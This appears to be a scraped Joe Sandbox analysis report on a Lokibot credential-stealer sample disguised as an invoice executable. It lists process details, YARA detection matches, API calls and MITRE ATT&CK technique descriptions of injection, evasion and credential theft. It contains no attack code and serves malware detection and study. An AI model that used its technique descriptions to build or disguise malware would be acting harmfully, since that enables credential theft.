Nov 30, 2022 00:54:28.382638931 CET	134	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:31 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Target ID:	0
Start time:	00:53:56
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Imagebase:	0x3d0000
File size:	865280 bytes
MD5 hash:	BAED30AEA51E6000571219633AA745B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	00:54:03
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Imagebase:	0x1d0000
File size:	865280 bytes
MD5 hash:	BAED30AEA51E6000571219633AA745B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	00:54:03
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Imagebase:	0x360000
File size:	865280 bytes
MD5 hash:	BAED30AEA51E6000571219633AA745B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	00:54:03
Start date:	30/11/2022
Path:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Imagebase:	0xc70000
File size:	865280 bytes
MD5 hash:	BAED30AEA51E6000571219633AA745B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000003.00000002.506514782.0000000001238000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000003.00000000.255040267.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	105
Total number of Limit Nodes:	9

Executed Functions

Function 00FAB6C9 Relevance: 6.1, APIs: 4, Instructions: 122
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00FAB730
GetCurrentThread.KERNEL32 ref: 00FAB76D
GetCurrentProcess.KERNEL32 ref: 00FAB7AA
GetCurrentThreadId.KERNEL32 ref: 00FAB803

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: fdb782c2c4cbac0534c110713060b4932359ef3c81556aef0350817cae619407
Instruction ID: 27f04253d96942acb6a0eb2c32a7faa7fdc568ea2d45da0e7b9113b40d460b74
Opcode Fuzzy Hash: fdb782c2c4cbac0534c110713060b4932359ef3c81556aef0350817cae619407
Instruction Fuzzy Hash: F35156B0D042498FDB10CFA9D588BEEBBF1BF89314F248499E409A7351D7755844CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00FAB6D0 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00FAB730
GetCurrentThread.KERNEL32 ref: 00FAB76D
GetCurrentProcess.KERNEL32 ref: 00FAB7AA
GetCurrentThreadId.KERNEL32 ref: 00FAB803

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1f12287fd27bc94099d1278634147af994800ff06b05349ccec763fd05c54855
Instruction ID: 5a7a8d05416c9585a955b588c596705f74a8ae04b10f53d0e844c0956f599228
Opcode Fuzzy Hash: 1f12287fd27bc94099d1278634147af994800ff06b05349ccec763fd05c54855
Instruction Fuzzy Hash: F65155B4D042498FDB10CFAAD548BDEBBF1BF89314F248899E409A7351D7746884CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00FAFD2E Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00FAFE4A

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: cdfdffa9fb83e6bccf981a0e87ec67f2891d3f515ca96a2c19866b45f1327cc0
Instruction ID: 6a2233e5a386c4616b500def295cb5bf89edd024e1ff664fab3f0f2a611a8f94
Opcode Fuzzy Hash: cdfdffa9fb83e6bccf981a0e87ec67f2891d3f515ca96a2c19866b45f1327cc0
Instruction Fuzzy Hash: E651C0B1D10349AFDB14CFAAC884ADEBFB1FF49314F24822AE419AB250D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FAFD38 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00FAFE4A

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 20d4e530020a2b5b3eeac578a5806e9530e1b0212121c4ba81a8c09b8ae2f04f
Instruction ID: 84010d76f8c353c10c313b8687eb3beeeaa84519b657281b0f17af670eb06006
Opcode Fuzzy Hash: 20d4e530020a2b5b3eeac578a5806e9530e1b0212121c4ba81a8c09b8ae2f04f
Instruction Fuzzy Hash: 9941B0B1D10309AFDB14CFAAD884ADEBFB5BF48314F24812AE819AB251D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FA5365 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00FA5421

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: fed1fc78c2057e0858c87bdbe11c45bfb5b390d40e58da28c050c8e1b30b9581
Instruction ID: f35b2be1b3b675987bd92dd37c1a3c6cbfef74d41bd99ef544dea8434ccc3ac6
Opcode Fuzzy Hash: fed1fc78c2057e0858c87bdbe11c45bfb5b390d40e58da28c050c8e1b30b9581
Instruction Fuzzy Hash: 5D4115B1C00618CFDB24CFA9D885BDDBBB1FF89319F208069D408AB251DBB56946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3DE4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00FA5421

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 076dcb29a68114def62dcde27b1e598b439c9e29f60898cd9a1552bf2bf65ce0
Instruction ID: be910e0059a7d801bb084569d7148f2954472917d0e5b6d0a0ab924581d225a2
Opcode Fuzzy Hash: 076dcb29a68114def62dcde27b1e598b439c9e29f60898cd9a1552bf2bf65ce0
Instruction Fuzzy Hash: 9E41F3B1C00718CBDB24DFA9D84478EBBB5BF49315F208059D408AB251DBB56945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9B32 Relevance: 1.6, APIs: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00FA9991,00000800,00000000,00000000), ref: 00FA9BA2

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f441441485fe35046e2443b883ed3a11a79377197cc006668bbc0be0318d883f
Instruction ID: f646e836680447ec6ee941920830da342c59c15daf08885757930ac5eaf3511a
Opcode Fuzzy Hash: f441441485fe35046e2443b883ed3a11a79377197cc006668bbc0be0318d883f
Instruction Fuzzy Hash: 562146B6C042489FCB20CFAAE444ADEFBB4FF89364F14846AD455A7600C3B46906CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FAB8F2 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00FAB97F

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 137f9ebcabbd4eed9c1c385472478a7105d95abcd2fbbe59f825127231c8bc41
Instruction ID: 730ffdb55bdc85acc0e411afecdb848487667d30bd56183750b432be2eb4d676
Opcode Fuzzy Hash: 137f9ebcabbd4eed9c1c385472478a7105d95abcd2fbbe59f825127231c8bc41
Instruction Fuzzy Hash: F22124B59043489FDB10CFA9D884ADEBFF4EB49320F18805AE954A7212C378A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9841 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00FA9916

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1f6a981bf39fdbaf946bb65463be35e37ec022403d7d1e064b302c50cb27ec9e
Instruction ID: 33f422b89c0d7effa233c8d5e4fc51905ca48a81d2bd1aa165e224f5c5477f4e
Opcode Fuzzy Hash: 1f6a981bf39fdbaf946bb65463be35e37ec022403d7d1e064b302c50cb27ec9e
Instruction Fuzzy Hash: 24218BB2C083858FDB11CFAAC4446DEBFB4EF4A320F54859AC495AB212C3785506CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FAB8F8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00FAB97F

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: baa01261cd9fb640e7388eb00a8df006bfa9be27676dec219af3c1ff54b2e28d
Instruction ID: 55ebc2457655860322da9e9478d714a2b52f9b22b3b6c9314227cca4260430b4
Opcode Fuzzy Hash: baa01261cd9fb640e7388eb00a8df006bfa9be27676dec219af3c1ff54b2e28d
Instruction Fuzzy Hash: 3C21E4B5D00219AFDB10CF9AD484ADEBFF8FB48324F14841AE954A3310D374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FA94B8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00FA9991,00000800,00000000,00000000), ref: 00FA9BA2

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9685a5e27847ded551a2d4dd4ce959d44d3c7f210e36f4d512d8b7dc0620553b
Instruction ID: c114b69674f84ad6fe9cfb09309c7861cfa68d1241a7ecfc6a00121ce6ca3ed5
Opcode Fuzzy Hash: 9685a5e27847ded551a2d4dd4ce959d44d3c7f210e36f4d512d8b7dc0620553b
Instruction Fuzzy Hash: E31100B6D042099FDB10CF9AD444BDEBBF4AB98364F14842AE915A7600C7B4AA45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FA98B0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00FA9916

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: eb1395d9c965e80eccb7bcc5a88d57d166b5903595e799c1629f3a8f8d9bd540
Instruction ID: 50cd4e9a00e3fc7fd65f1dcb4a7afb23811600e7b137d09b6b28ffaaac5e4f43
Opcode Fuzzy Hash: eb1395d9c965e80eccb7bcc5a88d57d166b5903595e799c1629f3a8f8d9bd540
Instruction Fuzzy Hash: 77110FB6C002499FDB10CF9AC444BDEFBF4EB89324F14842AD869B7200C3B8A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00FAE5B0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b23859394138787157d48c6cb6f10563a661d8b0b17df234fb488ce1f48dcb67
Instruction ID: 881242641e1179ce70c22e7340dd584237847dd6fc71f1c907a1ed5d195a8a1d
Opcode Fuzzy Hash: b23859394138787157d48c6cb6f10563a661d8b0b17df234fb488ce1f48dcb67
Instruction Fuzzy Hash: F31283F24917468AE330CF65EC981893BB1B7C6328F944209D2E56FAD9D7BE114ACF44

Uniqueness

Uniqueness Score: -1.00%

Function 00FAC164 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 533d0b3c6ca49145cee60d102589a38a0d3c6e0a9b1242751fc653e2e5fcd4e6
Instruction ID: 5ded6e7bed005cd568a5bfb23330e370040345eb247ce66bd2fde01ba3c26825
Opcode Fuzzy Hash: 533d0b3c6ca49145cee60d102589a38a0d3c6e0a9b1242751fc653e2e5fcd4e6
Instruction Fuzzy Hash: 69A17172E002198FCF15DFB5C8446DEBBF2FF85310B15856AE806BB261DB39A945DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00FAE5A0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.257147359.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_INV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d1dfb27fa3d99fb47d1084b67b581b91d68e8da3663bd6c7794e0bf81d6a2fa
Instruction ID: 0d145e3a583fe19f664218228cb500704e9872018cc8f5e42164f5a41a70185c
Opcode Fuzzy Hash: 6d1dfb27fa3d99fb47d1084b67b581b91d68e8da3663bd6c7794e0bf81d6a2fa
Instruction Fuzzy Hash: 9EC108B28517468BD720DF65EC981897BB1FBC7328F904209D2A16F6D8D7BE104ACF84

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report INV.2022LB0362 FORM CO (2).exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

